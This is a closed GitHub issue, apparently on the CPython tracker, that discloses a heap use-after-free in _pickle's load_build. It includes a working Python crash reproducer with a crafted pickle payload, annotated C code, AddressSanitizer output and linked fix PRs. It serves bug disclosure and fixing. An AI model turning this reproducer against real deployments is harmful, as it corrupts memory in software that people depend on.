Uh oh!
There was an error while loading.Please reload this page.
- Notifications
You must be signed in to change notification settings - Fork34k
Closed
Description
What happened?
The defaultload_build path writes state entries withPyObject_SetItem, so a malicious__setitem__ can re-enter_pickle.Unpickler.load. The nested load clears the unpickler stack withPdata_clear, dropping the only reference to the instance under construction. When the outer BUILD resumes and callsPyObject_SetAttr to apply slot state, it dereferences the freed instance and crashes with a heap use-after-free.
Proof of Concept:
importioimport_picklePAYLOAD=b'\x80\x05c__main__\nVictim\n)R}(\x8c\x01aK\x01\x8c\x01bK\x02u}\x8c\x04slotK\x03s\x86b.'current=NoneclassTrap(dict):def__setitem__(self,key,value):ifnothasattr(self,"_tripped"):self._tripped=Truetry:current.load()exceptException:passsuper().__setitem__(key,value)classVictim:__slots__= ("__dict__","slot")def__init__(self):self.__dict__=Trap()self.slot=Nonecurrent=_pickle.Unpickler(io.BytesIO(PAYLOAD))current.load()
Vulnerable Code Snippet:
Click to expand
/* Buggy Re-entrant Path */staticPyObject*_pickle_Unpickler_load_impl(UnpicklerObject*self,PyTypeObject*cls){PickleState*st=_Pickle_GetStateByClass(cls);/* ... */returnload(st,self);}staticintload_build(PickleState*st,UnpicklerObject*self){PyObject*inst,*slotstate;/* ... */inst=self->stack->data[Py_SIZE(self->stack)-1];/* crashing pointer derived *//* ... */while (PyDict_Next(state,&i,&d_key,&d_value)) {/* ... */if (PyObject_SetItem(dict,d_key,d_value)<0) {/* Reentrant call site *//* ... */ gotoerror; }/* ... */ }if (slotstate!=NULL) {while (PyDict_Next(slotstate,&i,&d_key,&d_value)) {if (PyObject_SetAttr(inst,d_key,d_value)<0)/* Crash site */ gotoerror; } }/* ... */returnstatus;}/* Clobbering Path */staticPyObject*load(PickleState*st,UnpicklerObject*self){if (Py_SIZE(self->stack))Pdata_clear(self->stack,0);/* ... */returnNULL;}staticintPdata_clear(Pdata*self,Py_ssize_tclearto){Py_ssize_ti=Py_SIZE(self);/* ... */while (--i >=clearto) {Py_CLEAR(self->data[i]);/* state mutate site */ }Py_SET_SIZE(self,clearto);return0;}
Sanitizer Output:
Click to expand
===================================================================317223==ERROR: AddressSanitizer: heap-use-after-free on address 0x504000071da8 at pc 0x598a2c6c0c17 bp 0x7ffe89222130 sp 0x7ffe89222120READ of size 8 at 0x504000071da8 thread T0 #0 0x598a2c6c0c16 in _Py_TYPE Include/object.h:277 #1 0x598a2c6c0c16 in PyObject_SetAttr Objects/object.c:1463 #2 0x7c60633d95c5 in load_build Modules/_pickle.c:6767 #3 0x7c60633e6307 in load Modules/_pickle.c:6960 #4 0x598a2c5a13e7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169 #5 0x598a2c5a13e7 in PyObject_Vectorcall Objects/call.c:327 #6 0x598a2c45df33 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620 #7 0x598a2c91fad6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121 #8 0x598a2c91fad6 in _PyEval_Vector Python/ceval.c:2001 #9 0x598a2c91fad6 in PyEval_EvalCode Python/ceval.c:884 #10 0x598a2ca6516e in run_eval_code_obj Python/pythonrun.c:1365 #11 0x598a2ca6516e in run_mod Python/pythonrun.c:1459 #12 0x598a2ca69e17 in pyrun_file Python/pythonrun.c:1293 #13 0x598a2ca69e17 in _PyRun_SimpleFileObject Python/pythonrun.c:521 #14 0x598a2ca6a93c in _PyRun_AnyFileObject Python/pythonrun.c:81 #15 0x598a2cadde3c in pymain_run_file_obj Modules/main.c:410 #16 0x598a2cadde3c in pymain_run_file Modules/main.c:429 #17 0x598a2cadde3c in pymain_run_python Modules/main.c:691 #18 0x598a2cadf71e in Py_RunMain Modules/main.c:772 #19 0x598a2cadf71e in pymain_main Modules/main.c:802 #20 0x598a2cadf71e in Py_BytesMain Modules/main.c:826 #21 0x7c606382a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #22 0x7c606382a28a in __libc_start_main_impl ../csu/libc-start.c:360 #23 0x598a2c479634 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x206634) (BuildId: 4d105290d0ad566a4d6f4f7b2f05fbc9e317b533)0x504000071da8 is located 24 bytes inside of 48-byte region [0x504000071d90,0x504000071dc0)freed by thread T0 here: #0 0x7c6063cfc4d8 in free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52 #1 0x598a2c7328f3 in subtype_dealloc Objects/typeobject.c:2852 #2 0x598a2c6be1d8 in _Py_Dealloc Objects/object.c:3200 #3 0x7c60633e254b in Py_DECREF Include/refcount.h:418 #4 0x7c60633e254b in Pdata_clear Modules/_pickle.c:480 #5 0x7c60633e254b in load Modules/_pickle.c:6892 #6 0x598a2c5a13e7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169 #7 0x598a2c5a13e7 in PyObject_Vectorcall Objects/call.c:327 #8 0x598a2c45df33 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620 #9 0x598a2c9202a5 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121 #10 0x598a2c9202a5 in _PyEval_Vector Python/ceval.c:2001 #11 0x598a2c7606e7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169 #12 0x598a2c7606e7 in vectorcall_unbound Objects/typeobject.c:3033 #13 0x598a2c7606e7 in vectorcall_method Objects/typeobject.c:3104 #14 0x598a2c7606e7 in slot_mp_ass_subscript Objects/typeobject.c:10386 #15 0x7c60633d90a3 in load_build Modules/_pickle.c:6745 #16 0x7c60633e6307 in load Modules/_pickle.c:6960 #17 0x598a2c5a13e7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169 #18 0x598a2c5a13e7 in PyObject_Vectorcall Objects/call.c:327 #19 0x598a2c45df33 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620 #20 0x598a2c91fad6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121 #21 0x598a2c91fad6 in _PyEval_Vector Python/ceval.c:2001 #22 0x598a2c91fad6 in PyEval_EvalCode Python/ceval.c:884 #23 0x598a2ca6516e in run_eval_code_obj Python/pythonrun.c:1365 #24 0x598a2ca6516e in run_mod Python/pythonrun.c:1459 #25 0x598a2ca69e17 in pyrun_file Python/pythonrun.c:1293 #26 0x598a2ca69e17 in _PyRun_SimpleFileObject Python/pythonrun.c:521 #27 0x598a2ca6a93c in _PyRun_AnyFileObject Python/pythonrun.c:81 #28 0x598a2cadde3c in pymain_run_file_obj Modules/main.c:410 #29 0x598a2cadde3c in pymain_run_file Modules/main.c:429 #30 0x598a2cadde3c in pymain_run_python Modules/main.c:691 #31 0x598a2cadf71e in Py_RunMain Modules/main.c:772 #32 0x598a2cadf71e in pymain_main Modules/main.c:802 #33 0x598a2cadf71e in Py_BytesMain Modules/main.c:826 #34 0x7c606382a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #35 0x7c606382a28a in __libc_start_main_impl ../csu/libc-start.c:360 #36 0x598a2c479634 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x206634) (BuildId: 4d105290d0ad566a4d6f4f7b2f05fbc9e317b533)previously allocated by thread T0 here: #0 0x7c6063cfd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69 #1 0x598a2c74688e in _PyObject_MallocWithType Include/internal/pycore_object_alloc.h:46 #2 0x598a2c74688e in _PyType_AllocNoTrack Objects/typeobject.c:2504 #3 0x598a2c746af4 in PyType_GenericAlloc Objects/typeobject.c:2535 #4 0x598a2c73e118 in type_call Objects/typeobject.c:2448 #5 0x598a2c5a1bb4 in _PyObject_Call Objects/call.c:361 #6 0x598a2c5a1bb4 in PyObject_CallObject Objects/call.c:472 #7 0x7c60633e4d77 in load_reduce Modules/_pickle.c:6821 #8 0x7c60633e4d77 in load Modules/_pickle.c:6976 #9 0x598a2c5a13e7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169 #10 0x598a2c5a13e7 in PyObject_Vectorcall Objects/call.c:327 #11 0x598a2c45df33 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620 #12 0x598a2c91fad6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121 #13 0x598a2c91fad6 in _PyEval_Vector Python/ceval.c:2001 #14 0x598a2c91fad6 in PyEval_EvalCode Python/ceval.c:884 #15 0x598a2ca6516e in run_eval_code_obj Python/pythonrun.c:1365 #16 0x598a2ca6516e in run_mod Python/pythonrun.c:1459 #17 0x598a2ca69e17 in pyrun_file Python/pythonrun.c:1293 #18 0x598a2ca69e17 in _PyRun_SimpleFileObject Python/pythonrun.c:521 #19 0x598a2ca6a93c in _PyRun_AnyFileObject Python/pythonrun.c:81 #20 0x598a2cadde3c in pymain_run_file_obj Modules/main.c:410 #21 0x598a2cadde3c in pymain_run_file Modules/main.c:429 #22 0x598a2cadde3c in pymain_run_python Modules/main.c:691 #23 0x598a2cadf71e in Py_RunMain Modules/main.c:772 #24 0x598a2cadf71e in pymain_main Modules/main.c:802 #25 0x598a2cadf71e in Py_BytesMain Modules/main.c:826 #26 0x7c606382a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #27 0x7c606382a28a in __libc_start_main_impl ../csu/libc-start.c:360 #28 0x598a2c479634 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x206634) (BuildId: 4d105290d0ad566a4d6f4f7b2f05fbc9e317b533)SUMMARY: AddressSanitizer: heap-use-after-free Include/object.h:277 in _Py_TYPEShadow bytes around the buggy address: 0x504000071b00: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fa 0x504000071b80: fa fa 00 00 00 00 00 fa fa fa fd fd fd fd fd fa 0x504000071c00: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fd 0x504000071c80: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fd 0x504000071d00: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 07=>0x504000071d80: fa fa fd fd fd[fd]fd fd fa fa fd fd fd fd fd fa 0x504000071e00: fa fa 00 00 00 00 00 05 fa fa fd fd fd fd fd fd 0x504000071e80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x504000071f00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x504000071f80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x504000072000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa faShadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb==317223==ABORTINGCPython versions tested on:
Details
| Python Version | Status | Exit Code |
|---|---|---|
Python 3.9.24+ (heads/3.9:111bbc15b26, Oct 28 2025, 16:51:20) | ASAN | 1 |
Python 3.10.19+ (heads/3.10:014261980b1, Oct 28 2025, 16:52:08) [Clang 18.1.3 (1ubuntu1)] | ASAN | 1 |
Python 3.11.14+ (heads/3.11:88f3f5b5f11, Oct 28 2025, 16:53:08) [Clang 18.1.3 (1ubuntu1)] | ASAN | 1 |
Python 3.12.12+ (heads/3.12:8cb2092bd8c, Oct 28 2025, 16:54:14) [Clang 18.1.3 (1ubuntu1)] | ASAN | 1 |
Python 3.13.9+ (heads/3.13:9c8eade20c6, Oct 28 2025, 16:55:18) [Clang 18.1.3 (1ubuntu1)] | ASAN | 1 |
Python 3.14.0+ (heads/3.14:2e216728038, Oct 28 2025, 16:56:16) [Clang 18.1.3 (1ubuntu1)] | ASAN | 1 |
Python 3.15.0a1+ (heads/main:f5394c257ce, Oct 28 2025, 19:29:54) [GCC 13.3.0] | ASAN | 1 |
Operating systems tested on:
Linux
Output from running 'python -VV' on the command line:
Python 3.15.0a1+ (heads/main:f5394c257ce, Oct 28 2025, 19:29:54) [GCC 13.3.0]
Linked PRs
- gh-143638: Forbid cuncurrent use of the Pickler and Unpickler objects in C implementation #143664
- [3.14] gh-143638: Forbid cuncurrent use of the Pickler and Unpickler objects in C implementation (GH-143664) #143686
- [3.13] gh-143638: Forbid cuncurrent use of the Pickler and Unpickler objects in C implementation (GH-143664) #143687
Metadata
Metadata
Assignees
Labels
Projects
Status
Done